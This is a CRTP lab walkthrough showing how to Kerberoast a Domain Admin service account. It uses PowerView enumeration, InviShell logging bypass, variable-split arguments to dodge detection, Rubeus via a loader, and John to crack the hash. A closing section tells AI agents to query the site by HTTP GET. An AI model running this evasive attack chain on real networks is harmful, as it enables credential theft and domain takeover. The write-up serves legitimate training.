# CRTP Lab 14

## Task

Using the Kerberoast attack, crack password of a SQL server service account.

Since the services running with user accounts have easier passwords to crack than machine accounts, let's find them:

{% code overflow="wrap" %}

```
# Run InviShell
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat

# Run PowerView
PS C:\AD\Tools>. C:\AD\Tools\PowerView.ps1

# Get Service Accounts
PS C:\AD\Tools> Get-DomainUser -SPN
```

{% endcode %}

A service account called "svcadmin" is a Domain Admin and has a SPN set. We can Kerberoast it.

{% code overflow="wrap" %}

```
# ArgSplit "kerberoast"
cd C:\AD\Tools
ArgSplit.bat

set "z=t"
set "y=s"
set "x=a"
set "w=o"
set "v=r"
set "u=e"
set "t=b"
set "s=r"
set "r=e"
set "q=k"
set "Pwn=%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"


# Run Rubeus to Kerberoast
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /user:svcadmin /simple /rc4opsec /outfile:C:\AD\Tools\hashes.txt
```

{% endcode %}

The saved hash file needs to be modified to be cracked. Ensure you remote ":1433" from the hash file.

Finally, use John to crack hashes.

{% code overflow="wrap" %}

```
C:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/domain-privilege-escalation/kerberoast/crtp-lab-14.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
